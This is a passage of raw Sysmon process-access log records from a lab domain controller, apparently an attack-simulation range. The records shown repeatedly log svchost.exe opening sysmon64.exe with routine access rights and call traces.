\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1528,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.109\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.109","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1529,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.109\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.109","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1530,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.109\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.109","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1531,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.109\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.109","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1532,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.109\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.109","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1533,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.109\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.109","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1534,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.109\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.109","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1535,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.109\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.109","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} 